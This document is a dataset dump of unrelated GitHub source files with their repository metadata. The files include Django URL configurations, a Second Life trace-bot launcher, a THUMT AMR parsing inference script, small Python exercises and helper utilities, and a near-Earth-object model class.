] | zspink@nea.k12.ar.us |
1a271585d8581d20466cbe3e69e307ed8abed6e6 | 49009fb7b14c634f7e2285de635639d9a00cdd24 | /backuni/urls.py | 2f2690ee6d3cd6d3c5975bbec98666320f09b610 | [] | no_license | faezee77/djangoproject | 9dc030295c194583fb3e01d124c4b98ecbffd21b | e239a9d672c723bc6d58b8e210390e7b7da0b19c | refs/heads/master | 2023-06-22T03:36:16.243045 | 2021-06-05T10:54:47 | 2021-06-05T10:54:47 | 374,087,816 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 846 | py | """backuni URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('accounts.urls')),
path('service/', include('service.urls')),
]
| [
"faezeeaghabozorgi@gmail.com"
] | faezeeaghabozorgi@gmail.com |
6bc76ae6b520317ff2dfb20b138dbdebee09377f | ccc4545a4f88d1fbe06fa965475f287c6c125aec | /scripts/parade.py | bd09a9cc2fd4dc51090cf76a996c92ed2c445908 | [] | no_license | ewencp/sltrace | 13f401b1f54480cbdc1a010d076b14797f3889df | 3ae4f9e60b61f6823976a62e82fd18566e00d570 | refs/heads/master | 2020-05-18T16:14:29.350890 | 2010-06-01T23:55:42 | 2010-06-01T23:55:42 | 471,019 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,076 | py | #!/usr/bin/python
#
# parade.py - instantiates a collection of sltrace.exe bots to
# coordinate collection of trace data from Second Life across a large
# number of simulators. The name refers to a parade (herd) of
# elephants, which are known for their memory.
#
# There are two parameters to parade:
#
# --bots -- specifies a JSON configuration file containing a list of
# bot accounts, each account a dictionary containing
# "first", "last", and "password" keys.
# --sims -- specifies a JSON configuration file containing a list of
# sims to connect to. It should contain a list of
# secondlife:// URL strings.
#
# These parameters are separated so that the bots file can be reused
# easily, while the sims file might be used for only one collection.
#
# Any other parameters are passed to the invoked bots, e.g. adding
# --duration=1h will cause --duration=1h to be appended to every
# sltrace.exe command line, causing all bots to colelct 1 hour
# traces. In order to allow per-instance customization, each bot
# instance will be assigned in index and any instance of the substring
# "bot" in the additional arguments will be replaced with that index.
# For instance, specifying --tracer-args=--out=mytrace.bot.json would
# generate log files mytrace.1.json, mytrace.2.json, etc.
import sys
import subprocess
try:
import simplejson as json
except:
import json
def _load_bots(bots_file):
# FIMXE validate
return json.load(open(bots_file))
def _load_sims(sims_file):
# FIMXE validate
return json.load(open(sims_file))
def main():
bots_file = None
sims_file = None
pass_args = []
for arg in sys.argv[1:]:
if arg.startswith('--bots='):
bots_file = arg.split('=', 1)[1]
elif arg.startswith('--sims='):
sims_file = arg.split('=', 1)[1]
else:
pass_args.append(arg)
if bots_file == None:
print "Must specify bots file using --bots"
return -1
if sims_file == None:
print "Must specify sims file using --sims"
return -1
bots = _load_bots(bots_file)
if bots == None:
print "Invalid bots file."
return -1
sims = _load_sims(sims_file)
if sims == None:
print "Invalid sims file."
return -1
if len(bots) < len(sims):
print "Bots file doesn't contain enough bots for number of sims specified."
return -1
processes = []
for idx in xrange(len(sims)):
bot = bots[idx]
sim = sims[idx]
command = ["./bin/sltrace.exe"]
command.append("--first=" + bot['first'])
command.append("--last=" + bot['last'])
command.append("--password=" + bot['password'])
command.append("--url=" + sim)
for pass_arg in pass_args:
command.append(pass_arg.replace('bot', str(idx)))
proc = subprocess.Popen(command)
processes.append(proc)
for proc in processes:
proc.wait()
return 0
if __name__ == "__main__":
sys.exit(main())
| [
"ewencp@cs.stanford.edu"
] | ewencp@cs.stanford.edu |
a11b2a7327974091502e55409a664b09beb69f3c | 1e12499ae96664e11a148130425ff96947547866 | /Basics/Ifelse.py | c1c7329e3f3577f5ca4b755f43db06040e698022 | [] | no_license | sameerktiwari/PythonTraining | 223e219055b284a52ac5cf7b3252de6119f082ad | 4c446e24319582227dacff46be3f7ea779e5bfab | refs/heads/master | 2021-08-23T20:36:05.995200 | 2017-12-06T12:37:53 | 2017-12-06T12:37:53 | 112,296,985 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 152 | py | num1=input("Enter a number")
if num1>0:
print "Number is positive"
elif num1<0:
print "Number is negative"
else:
print "You have entered 0"
| [
"sameer.tiwari@capgemini.com"
] | sameer.tiwari@capgemini.com |
3cf46bf5c296a8daf9dca7ec85200589d369f328 | e23f740a204aa6d2980051723952c8d8cbf0a613 | /bin/mtl_test2.py | 707dc28b4dca3aea5a469bb65f81788d0dc46b7f | [] | no_license | Woooooody/MTL_AMR_PARSING | abc2df16fe56255b5c1f116d8812edbb48a5e4b8 | 9ac1a05ff82e7db7341ffbd917a19e8b7ea489b9 | refs/heads/master | 2021-06-30T04:29:43.667541 | 2020-09-04T02:51:53 | 2020-09-04T02:51:53 | 141,286,326 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,556 | py | #!/usr/bin/env python
# coding=utf-8
# Copyright 2018 The THUMT Authors
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import itertools
import os
import numpy as np
import tensorflow as tf
import thumt.data.dataset as dataset
import thumt.data.vocab as vocabulary
import thumt.models as models
import thumt.utils.inference as inference
import thumt.utils.parallel as parallel
import thumt.utils.sampling as sampling
def parse_args():
parser = argparse.ArgumentParser(
description="Translate using existing NMT models",
usage="translator.py [<args>] [-h | --help]"
)
# input files
parser.add_argument("--parsing_input", type=str, default="../data/amr/syntax/source.test",
help="Path of input file")
parser.add_argument("--amr_input", type=str, default="../data/amr/baselineamr/dev_source.txt",
help="Path of input file")
parser.add_argument("--parsing_output", type=str, default="./parsing.result",
help="Path of output file")
parser.add_argument("--amr_output", type=str, default="./amr.result",
help="Path of output file")
parser.add_argument("--checkpoints", type=str, nargs="+", default=["train"],
help="Path of trained models")
parser.add_argument("--vocabulary", type=str, nargs=3, default=["../data/amr/syntax/vocab.mtl.source.txt",
"../data/amr/syntax/vocab.parsing.linear.txt",
"../data/amr/baselineamr/vocab.amr.target"],
help="Path of source and target vocabulary")
# model and configuration
parser.add_argument("--models", type=str, default=["transformer"], nargs="+",
help="Name of the model")
parser.add_argument("--parameters", type=str,
help="Additional hyper parameters")
parser.add_argument("--verbose", action="store_true",
help="Enable verbose output")
return parser.parse_args()
def default_parameters():
params = tf.contrib.training.HParams(
parsing_input="../data/amr/syntax/source.test",
amr_input="../data/amr/baselineamr/dev_source.txt",
parsing_output="./parsing.result",
amr_output="./amr.result",
vocabulary=["../data/amr/syntax/vocab.mtl.source.txt",
"../data/amr/syntax/vocab.parsing.linear.txt",
"../data/amr/baselineamr/vocab.amr.target"],
# vocabulary specific
pad="<pad>",
bos="<bos>",
eos="<eos>",
unk="<unk>",
mapping=None,
append_eos=False,
device_list=[0],
num_threads=1,
# decoding
top_beams=1,
beam_size=4,
decode_alpha=0.6,
decode_length=50,
decode_batch_size=32,
# sampling
generate_samples=False,
num_samples=1,
min_length_ratio=0.0,
max_length_ratio=1.5,
min_sample_length=0,
max_sample_length=0,
sample_batch_size=32
)
return params
def merge_parameters(params1, params2):
params = tf.contrib.training.HParams()
for (k, v) in params1.values().iteritems():
params.add_hparam(k, v)
params_dict = params.values()
for (k, v) in params2.values().iteritems():
if k in params_dict:
# Override
setattr(params, k, v)
else:
params.add_hparam(k, v)
return params
def import_params(model_dir, model_name, params):
if model_name.startswith("experimental_"):
model_name = model_name[13:]
model_dir = os.path.abspath(model_dir)
m_name = os.path.join(model_dir, model_name + ".json")
if not tf.gfile.Exists(m_name):
return params
with tf.gfile.Open(m_name) as fd:
tf.logging.info("Restoring model parameters from %s" % m_name)
json_str = fd.readline()
params.parse_json(json_str)
return params
def override_parameters(params, args):
if args.parameters:
params.parse(args.parameters)
params.vocabulary = {
"source": vocabulary.load_vocabulary(params.vocabulary[0]),
"parsing_target": vocabulary.load_vocabulary(params.vocabulary[1]),
"amr_target": vocabulary.load_vocabulary(params.vocabulary[2])
}
params.vocabulary["source"] = vocabulary.process_vocabulary(
params.vocabulary["source"], params
)
params.vocabulary["parsing_target"] = vocabulary.process_vocabulary(
params.vocabulary["parsing_target"], params
)
params.vocabulary["amr_target"] = vocabulary.process_vocabulary(
params.vocabulary["amr_target"], params
)
control_symbols = [params.pad, params.bos, params.eos, params.unk]
params.mapping = {
"source": vocabulary.get_control_mapping(
params.vocabulary["source"],
control_symbols
),
"parsing_target": vocabulary.get_control_mapping(
params.vocabulary["parsing_target"],
control_symbols
),
"amr_target": vocabulary.get_control_mapping(
params.vocabulary["amr_target"],
control_symbols
)
}
return params
def session_config(params):
optimizer_options = tf.OptimizerOptions(opt_level=tf.OptimizerOptions.L1,
do_function_inlining=False)
graph_options = tf.GraphOptions(optimizer_options=optimizer_options)
config = tf.ConfigProto(allow_soft_placement=True,
graph_options=graph_options)
if params.device_list:
device_str = ",".join([str(i) for i in params.device_list])
config.gpu_options.visible_device_list = device_str
return config
def set_variables(var_list, value_dict, prefix, feed_dict):
ops = []
for var in var_list:
for name in value_dict:
var_name = "/".join([prefix] + list(name.split("/")[1:]))
if var.name[:-2] == var_name:
tf.logging.debug("restoring %s -> %s" % (name, var.name))
placeholder = tf.placeholder(tf.float32,
name="placeholder/" + var_name)
with tf.device("/cpu:0"):
op = tf.assign(var, placeholder)
ops.append(op)
feed_dict[placeholder] = value_dict[name]
break
return ops
def shard_features(features, placeholders, predictions):
num_shards = len(placeholders)
feed_dict = {}
n = 0
for name in features:
feat = features[name]
batch = feat.shape[0]
if batch < num_shards:
feed_dict[placeholders[0][name]] = feat
n = 1
else:
shard_size = (batch + num_shards - 1) // num_shards
for i in range(num_shards):
shard_feat = feat[i * shard_size:(i + 1) * shard_size]
feed_dict[placeholders[i][name]] = shard_feat
n = num_shards
if isinstance(predictions, (list, tuple)):
predictions = [item[:n] for item in predictions]
return predictions, feed_dict
def main(args):
tf.logging.set_verbosity(tf.logging.INFO)
# Load configs
model_cls_list = [models.get_model(model) for model in args.models]
params_list = [default_parameters() for _ in range(len(model_cls_list))]
params_list = [
merge_parameters(params, model_cls.get_parameters())
for params, model_cls in zip(params_list, model_cls_list)
]
params_list = [
import_params(args.checkpoints[i], args.models[i], params_list[i])
for i in range(len(args.checkpoints))
]
params_list = [
override_parameters(params_list[i], args)
for i in range(len(model_cls_list))
]
# Build Graph
with tf.Graph().as_default():
model_var_lists = []
# Load checkpoints
for i, checkpoint in enumerate(args.checkpoints):
tf.logging.info("Loading %s" % checkpoint)
var_list = tf.train.list_variables(checkpoint)
values = {}
reader = tf.train.load_checkpoint(checkpoint)
for (name, shape) in var_list:
if not name.startswith(model_cls_list[i].get_name()):
continue
if name.find("losses_avg") >= 0:
continue
tensor = reader.get_tensor(name)
values[name] = tensor
model_var_lists.append(values)
# Build models
model_list = []
for i in range(len(args.checkpoints)):
name = model_cls_list[i].get_name()
model = model_cls_list[i](params_list[i], name + "_%d" % i)
model_list.append(model)
params = params_list[0]
print(params)
build_graph(params,
args,
model_list,
model_cls_list,
model_var_lists,
problem='parsing')
build_graph(params,
args,
model_list,
model_cls_list,
model_var_lists,
problem='amr')
def build_graph(params, args, model_list, model_cls_list, model_var_lists, problem=None):
if problem == "parsing":
fo = args.parsing_output
fi = args.parsing_input
elif problem == "amr":
fo = args.amr_outpu
fi = args.amr_input
else:
print("problem only in parsing or amr")
# Read input file
sorted_keys, sorted_inputs = dataset.sort_input_file(fi)
# Build input queue
features = dataset.get_inference_input(sorted_inputs, params) # only source data
# Create placeholders
placeholders = []
for i in range(len(params.device_list)):
placeholders.append({
"source": tf.placeholder(tf.int32, [None, None],
"source_%d" % i),
"source_length": tf.placeholder(tf.int32, [None],
"source_length_%d" % i)
})
# A list of outputs
if params.generate_samples:
inference_fn = sampling.create_sampling_graph
else:
inference_fn = inference.create_inference_graph
predictions = parallel.data_parallelism(
params.device_list, lambda f: inference_fn(model_list, f, params, problem=problem),
placeholders)
# Create assign ops
assign_ops = []
feed_dict = {}
all_var_list = tf.trainable_variables()
for i in range(len(args.checkpoints)):
un_init_var_list = []
name = model_cls_list[i].get_name()
for v in all_var_list:
if v.name.startswith(name + "_%d" % i):
un_init_var_list.append(v)
ops = set_variables(un_init_var_list, model_var_lists[i],
name + "_%d" % i, feed_dict)
assign_ops.extend(ops)
assign_op = tf.group(*assign_ops)
init_op = tf.tables_initializer()
results = []
tf.get_default_graph().finalize()
# Create session
with tf.Session(config=session_config(params)) as sess:
# Restore variables
sess.run(assign_op, feed_dict=feed_dict)
sess.run(init_op)
while True:
try:
feats = sess.run(features)
op, feed_dict = shard_features(feats, placeholders,
predictions)
results.append(sess.run(op, feed_dict=feed_dict))
message = "Finished %s batch %d" % (len(results), problem)
tf.logging.log(tf.logging.INFO, message)
except tf.errors.OutOfRangeError:
break
# Convert to plain text
vocab = params.vocabulary[problem+"_target"]
outputs = []
scores = []
for result in results:
for item in result[0]:
outputs.append(item.tolist())
for item in result[1]:
scores.append(item.tolist())
outputs = list(itertools.chain(*outputs))
scores = list(itertools.chain(*scores))
restored_inputs = []
restored_outputs = []
restored_scores = []
for index in range(len(sorted_inputs)):
restored_inputs.append(sorted_inputs[sorted_keys[index]])
restored_outputs.append(outputs[sorted_keys[index]])
restored_scores.append(scores[sorted_keys[index]])
# Write to file
with open(fo, "w") as outfile:
count = 0
for outputs, scores in zip(restored_outputs, restored_scores):
for output, score in zip(outputs, scores):
decoded = []
for idx in output:
if idx == params.mapping["target"][params.eos]:
break
decoded.append(vocab[idx])
decoded = " ".join(decoded)
if not args.verbose:
outfile.write("%s\n" % decoded)
break
else:
pattern = "%d ||| %s ||| %s ||| %f\n"
source = restored_inputs[count]
values = (count, source, decoded, score)
outfile.write(pattern % values)
count += 1
if __name__ == "__main__":
main(parse_args())
| [
"wujinhang0729@gmail.com"
] | wujinhang0729@gmail.com |
9e19072ff7971bc211783e2524be3902ccd8e5c3 | 39b8dddb1bda5e8055c661da060a9c71040c0ae3 | /reinforcement/tensorflow/minigo/tests/test_shipname.py | 93a9e7848d426fc5cb67bf8191c89a4eecd8e1c1 | [
"Apache-2.0"
] | permissive | dagarcia-nvidia/mlperf_training | 22e7c120bce338ec84b008b5cd64a3e53c2362e3 | bad6f14e6f5a119bfffb3181a8a742874c441753 | refs/heads/master | 2022-12-11T03:28:22.641969 | 2019-02-27T19:05:59 | 2019-02-27T19:05:59 | 172,770,644 | 1 | 1 | Apache-2.0 | 2022-12-08T02:29:51 | 2019-02-26T18:54:19 | Jupyter Notebook | UTF-8 | Python | false | false | 1,119 | py | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
import shipname
class TestShipname(unittest.TestCase):
def test_bootstrap_gen(self):
name = shipname.generate(0)
self.assertIn('bootstrap', name)
def test_detect_name(self):
string = '000017-model.index'
detected_name = shipname.detect_model_name(string)
self.assertEqual(detected_name, '000017-model')
def test_detect_num(self):
string = '000017-model.index'
detected_name = shipname.detect_model_num(string)
self.assertEqual(detected_name, 17)
| [
"deepakn94@gmail.com"
] | deepakn94@gmail.com |
d22b2a7823c9c338149f4a34403de8a7a658be7c | fb9b0f9c6fb593dfb8e23ee04454f8c0a37cb15d | /other/my_utils.py | aed590884365e768aa7a1f4fe7e6b25edb7a64f5 | [] | no_license | dmishin/dmishin-pyscript | 624f1efda94916780bf25c6bd554c75f43936170 | 494433c26daf826f4b914f81ceaa69dc2f35c350 | refs/heads/master | 2021-01-02T22:52:09.917804 | 2010-08-28T20:11:11 | 2010-08-28T20:11:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,254 | py |
def srepl(string, replacements):
"Multiple replace all"
if not replacements:
return string
orig, new = replacements[0]
return new.join([srepl(s, replacements[1:]) for s in string.split(orig)])
def __test__srepl():
assert(srepl("", ()) == "")
assert(srepl("ab", (("a","b"),("b","a"))) == "ba")
assert(srepl("auau au",(("au",""),) ) == " ")
assert(srepl("hello",(("h","fu"),("ell", "ck"),("o","!"))) == "fuck!")
assert(srepl("hello", (("ab", "none"), ("llo","oll"))) == "heoll")
def flatten(lst):
rval = list()
for i in lst:
if hasattr(i, "__iter__"):
rval.extend(flatten(i))
else:
rval.append(i)
return rval
def __test__flatten():
assert(flatten([]) == [])
assert(flatten([1,2,3]) == [1,2,3])
assert(flatten([[[[1]]]]) == [1])
assert(flatten([[[[]]],[],[],[[[]]]]) == [])
assert(flatten([1,[2,3],[4],[5,[6]]]) == [1,2,3,4,5,6])
def __test():
tst = "__test__"
for varname, var in globals().items():
if varname[:len(tst)] == tst:
try:
print "Running", varname
var()
print " Passed"
except Exception, e:
print " Failed!", e
| [
"shintyakov@gmail.com"
] | shintyakov@gmail.com |
420eb58a93e081ddbe198dfb4f83ba00590c180f | b9e053fb07272253780284aaab573a578a2363c0 | /MVC/Control/controlador_partida.py | 5ce092cea482f025124a07c04777bb022d5c4830 | [] | no_license | jrmartins89/APS | cfcf4c1eccdc6d9caf5e947f68d25eb21b912184 | 845b03a6a2dd0c7642248b33eda45b3b96ff7461 | refs/heads/master | 2023-08-31T21:23:18.947626 | 2021-09-19T06:53:57 | 2021-09-19T06:53:57 | 385,753,815 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 844 | py | from mvc.control.controlador_jogador import ControladorJogador
from mvc.view.tela_partida import TelaPartida
class ControladorPartida:
def __init__(self):
self._tela_partida = TelaPartida(self)
self._controlador_jogador = ControladorJogador(self)
self._partida = None
def abre_tela_confirmacao_partida_humano(self, partida):
self._partida = partida
button, values = self._tela_partida.open_confirmacao_partida_humano(self._partida)
if button == 'Jogar!':
self._tela_partida.open_jogo(self._partida)
def abre_tela_confirmacao_partida_maquina(self, partida):
self._partida = partida
button, values = self._tela_partida.open_confirmacao_partida_maquina(self._partida)
if button == 'Jogar!':
self._tela_partida.open_jogo(self._partida)
| [
"jribamarjunior89@gmail.com"
] | jribamarjunior89@gmail.com |
6a82e3ae6b27e06fceaac8afb717db4d2afd1d3e | 13d5d65558c2e3b8eff53b5c42ace8c04a64630a | /cracking-the-coding-interview/queue-using-two-stacks.py | a693ea3500d4bf438d66d7061937d1aa2f0d311b | [] | no_license | ddg00/hackerrank | 47d061138febae20776220969839a6378445314e | 7975919545a11bd36248e7018a1bf83168779149 | refs/heads/master | 2021-01-20T05:43:44.460029 | 2017-08-03T07:37:16 | 2017-08-03T07:37:16 | 89,801,219 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 485 | py | import queue
class MyQueue(object):
def __init__(self):
self.q = []
def peek(self):
return self.q[0]
def pop(self):
self.q.pop(0)
def put(self, value):
self.q.extend([value])
queue = MyQueue()
t = int(input())
for line in range(t):
values = map(int, input().split())
values = list(values)
if values[0] == 1:
queue.put(values[1])
elif values[0] == 2:
queue.pop()
else:
print(queue.peek())
| [
"arya.ddg00@gmail.com"
] | arya.ddg00@gmail.com |
9eada00291e92ba1f68d9cc92d349c53d4607a32 | e6dab5aa1754ff13755a1f74a28a201681ab7e1c | /.parts/lib/python2.7/test/badsyntax_future7.py | 016f61f770519913d07d97611d89fa2688ab4a4f | [] | no_license | ronkagan/Euler_1 | 67679203a9510147320f7c6513eefd391630703e | 022633cc298475c4f3fd0c6e2bde4f4728713995 | refs/heads/master | 2021-01-06T20:45:52.901025 | 2014-09-06T22:34:16 | 2014-09-06T22:34:16 | 23,744,842 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 82 | py | /home/action/.parts/packages/python2/2.7.6/lib/python2.7/test/badsyntax_future7.py | [
"ron.y.kagan@gmail.com"
] | ron.y.kagan@gmail.com |
dbae1a4ecbfd9457b35cda900b220b7c20141665 | aaffe0817fad8779b18be56db0b4f17213fcf446 | /credenz/asgi.py | 24e4028c52571bedba0f82a8631fe25e18e3c576 | [] | no_license | abhishekdhar30/Django_backend_basic | 08ffb342c08e867545a5b34bdb0fa83ff0f197d6 | 68a0c2cc190e0297a2bd356f3b3e3518ffb1d999 | refs/heads/master | 2022-12-01T13:16:41.307259 | 2020-08-20T17:42:27 | 2020-08-20T17:42:27 | 289,069,722 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 391 | py | """
ASGI config for credenz project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'credenz.settings')
application = get_asgi_application()
| [
"abhishekdhar1603@gmail.com"
] | abhishekdhar1603@gmail.com |
8936f6a3992cf15aace3fb212b4ed78a4f0d46c1 | 45faee461099ad7c932add39473fcfdbd718e54c | /models.py | ca2af859b1ccd06ff72874bccda478fda6b295ba | [] | no_license | pradneshkolluru/NEO_project | 3f5d534ce898d34a98c73caac4ea96a795308569 | b4ea9dac31e2efc1c71e66ac459fa66b9016840b | refs/heads/main | 2023-05-31T01:54:58.477370 | 2021-06-17T03:04:34 | 2021-06-17T03:04:34 | 377,688,931 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,615 | py | """Represent models for near-Earth objects and their close approaches.
The `NearEarthObject` class represents a near-Earth object. Each has a unique
primary designation, an optional unique name, an optional diameter, and a flag
for whether the object is potentially hazardous.
The `CloseApproach` class represents a close approach to Earth by an NEO. Each
has an approach datetime, a nominal approach distance, and a relative approach
velocity.
A `NearEarthObject` maintains a collection of its close approaches, and a
`CloseApproach` maintains a reference to its NEO.
The functions that construct these objects use information extracted from the
data files from NASA, so these objects should be able to handle all of the
quirks of the data set, such as missing names and unknown diameters.
You'll edit this file in Task 1.
"""
from helpers import cd_to_datetime, datetime_to_str
class NearEarthObject:
"""A near-Earth object (NEO).
An NEO encapsulates semantic and physical parameters about the object, such
as its primary designation (required, unique), IAU name (optional), diameter
in kilometers (optional - sometimes unknown), and whether it's marked as
potentially hazardous to Earth.
A `NearEarthObject` also maintains a collection of its close approaches -
initialized to an empty collection, but eventually populated in the
`NEODatabase` constructor.
"""
# TODO: How can you, and should you, change the arguments to this constructor?
# If you make changes, be sure to update the comments in this file.
def __init__(self, pdes = '', name = None, diameter = float('nan'), pha = 'N', **info):
"""Create a new `NearEarthObject`.
:param info: A dictionary of excess keyword arguments supplied to the constructor.
"""
# Initialize instances of assign attribute values of designation, name, diameter, and hazardous
self.designation = pdes
self.name = name if name else None
self.diameter = float(diameter) if diameter else float('nan')
self.hazardous = True if pha == 'Y' else False
# Create an empty initial collection of linked approaches.
self.approaches = []
@property
def fullname(self):
"""Return a representation of the full name of this NEO."""
if self.name == None:
return "{}".format(self.designation)
else:
return "{designation} ({name})".format(designation = self.designation,
name = self.name)
def __str__(self):
"""Return `str(self)`."""
# Uses this object's attributes to return a human-readable string representation.
# The project instructions include one possibility. Peek at the __repr__
# method for examples of advanced string formatting.
return "Neo {fullname} has a diameter of ({diameter:.3f}) and {hazardous} potentially hazardous".format(fullname = self.fullname,
diameter = self.diameter,
hazardous = "is not" if self.hazardous == 'N' else 'is' )
def __repr__(self):
"""Return `repr(self)`, a computer-readable string representation of this object."""
return (f"NearEarthObject(designation={self.designation!r}, name={self.name!r}, "
f"diameter={self.diameter:.3f}, hazardous={self.hazardous!r})")
class CloseApproach:
"""A close approach to Earth by an NEO.
A `CloseApproach` encapsulates information about the NEO's close approach to
Earth, such as the date and time (in UTC) of closest approach, the nominal
approach distance in astronomical units, and the relative approach velocity
in kilometers per second.
A `CloseApproach` also maintains a reference to its `NearEarthObject` -
initally, this information (the NEO's primary designation) is saved in a
private attribute, but the referenced NEO is eventually replaced in the
`NEODatabase` constructor.
"""
# TODO: How can you, and should you, change the arguments to this constructor?
# If you make changes, be sure to update the comments in this file.
def __init__(self, des = '', cd = None, dist = 0.0, v_rel = 0.0, neo = None, **info):
"""Create a new `CloseApproach`.
:param info: A dictionary of excess keyword arguments supplied to the constructor.
"""
# TODO: Assign information from the arguments passed to the constructor
# onto attributes named `_designation`, `time`, `distance`, and `velocity`.
# You should coerce these values to their appropriate data type and handle any edge cases.
# The `cd_to_datetime` function will be useful.
self._designation = des
self.time = cd_to_datetime(cd) if cd else None # Convert calendar date to python datetime object.
self.distance = float(dist)
self.velocity = float(v_rel)
# Create an attribute for the referenced NEO, originally None.
self.neo = neo
@property
def time_str(self):
"""Return a formatted representation of this `CloseApproach`'s approach time.
The value in `self.time` should be a Python `datetime` object. While a
`datetime` object has a string representation, the default representation
includes seconds - significant figures that don't exist in our input
data set.
The `datetime_to_str` method converts a `datetime` object to a
formatted string that can be used in human-readable representations and
in serialization to CSV and JSON files.
"""
# TODO: Use this object's `.time` attribute and the `datetime_to_str` function to
# build a formatted representation of the approach time.
# TODO: Use self.designation and self.name to build a fullname for this object.
if self.time == None:
return float('nan')
else:
return datetime_to_str(self.time)
def __str__(self):
"""Return `str(self)`."""
# TODO: Use this object's attributes to return a human-readable string representation.
# The project instructions include one possibility. Peek at the __repr__
# method for examples of advanced string formatting.
return "At ({time_str}), '{fullname}' approaches Earth at a distance of {distance:.2f} au and a velocity of {velocity:.2f} km/s.".format(time_str = self.time_str,
fullname = self.neo.fullname,
distance = self.distance,
velocity = self.velocity)
def __repr__(self):
"""Return `repr(self)`, a computer-readable string representation of this object."""
return (f"CloseApproach(time={self.time_str!r}, distance={self.distance:.2f}, "
f"velocity={self.velocity:.2f}, neo={self.neo!r})")
#if __name__ == "__main__":
#neo = NearEarthObject('2020 FK', 'One Really Big fake asteroid', hazardous = 'Y')
#ca = CloseApproach(designation = '2020 FK', dist = 0.15, velocity = 70.56)
| [
"noreply@github.com"
] | noreply@github.com |
ddabea7784ef8342f76c1ca6530fde0cfab7b4f2 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_200/3378.py | d9230c40d82e40ec840c98885d3db4d3250b8334 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,242 | py | # -*- coding: utf-8 -*-
"""
Created on Sun Apr 09 06:47:06 2017
@author: rajbhagat
For Code Jam - Faster Tidy numbers
"""
readfileopen=open("C:/Users/rajbh/Desktop/B-large.in",'r')
writefileout=open("C:/Users/rajbh/Desktop/B-large.out",'w')
caseno=0
for e in readfileopen:
if caseno>0:
checkno=int(e.strip().rstrip())
ch=str(e.strip().rstrip())
ls=list(ch)
startno=0
digiter=9
noofdigits=len(ls)
while startno<noofdigits:
j=startno
while j<noofdigits:
ls[j]=digiter
j+=1
createdno=int("".join(str(x) for x in ls))
ls=list(str(createdno))
if createdno<=checkno:
startno+=1
digiter=9
elif digiter!=1:
digiter-=1
else:
noofdigits-=1
startno=0
digiter=9
ls=ls[1:]
outstring="Case #"+str(caseno)+": "+str(createdno)+"\n"
writefileout.write(outstring)
caseno+=1
readfileopen.close()
writefileout.close() | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
ea6218c1634a2cb13b35332fc6034b51d034f60a | d10d83e06e689e597884cffbd8f4a8c62d051df0 | /historical_games_shop/historical_games_shop/urls.py | 419d900787a9030c0bbda8fff690e3b633458be2 | [] | no_license | tchka/django | 87d50aac5b929369c135596f0c66ab5029fd47ff | 9a78076c6b36a92a44b082489994631719fff93a | refs/heads/master | 2023-01-24T20:32:46.855065 | 2020-10-11T14:22:19 | 2020-10-11T14:22:19 | 296,548,908 | 0 | 0 | null | 2020-11-19T10:54:42 | 2020-09-18T07:37:43 | CSS | UTF-8 | Python | false | false | 1,405 | py | """historical_games_shop URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.conf.urls import include
from django.contrib import admin
from django.urls import path, include
import mainapp.views as mainapp
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('', mainapp.main, name='main'),
path('catalog/', mainapp.catalog, name='catalog'),
path('product/', include('mainapp.urls', namespace='products')),
path('auth/', include('authapp.urls', namespace='auth')),
path('contacts/', mainapp.contacts, name='contacts'),
path('basket/', include('basketapp.urls', namespace='basket')),
path('admin/', admin.site.urls),
]
handler404 = mainapp.not_found
if settings.DEBUG:
urlpatterns += static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)
| [
"tchka777@gmail.com"
] | tchka777@gmail.com |
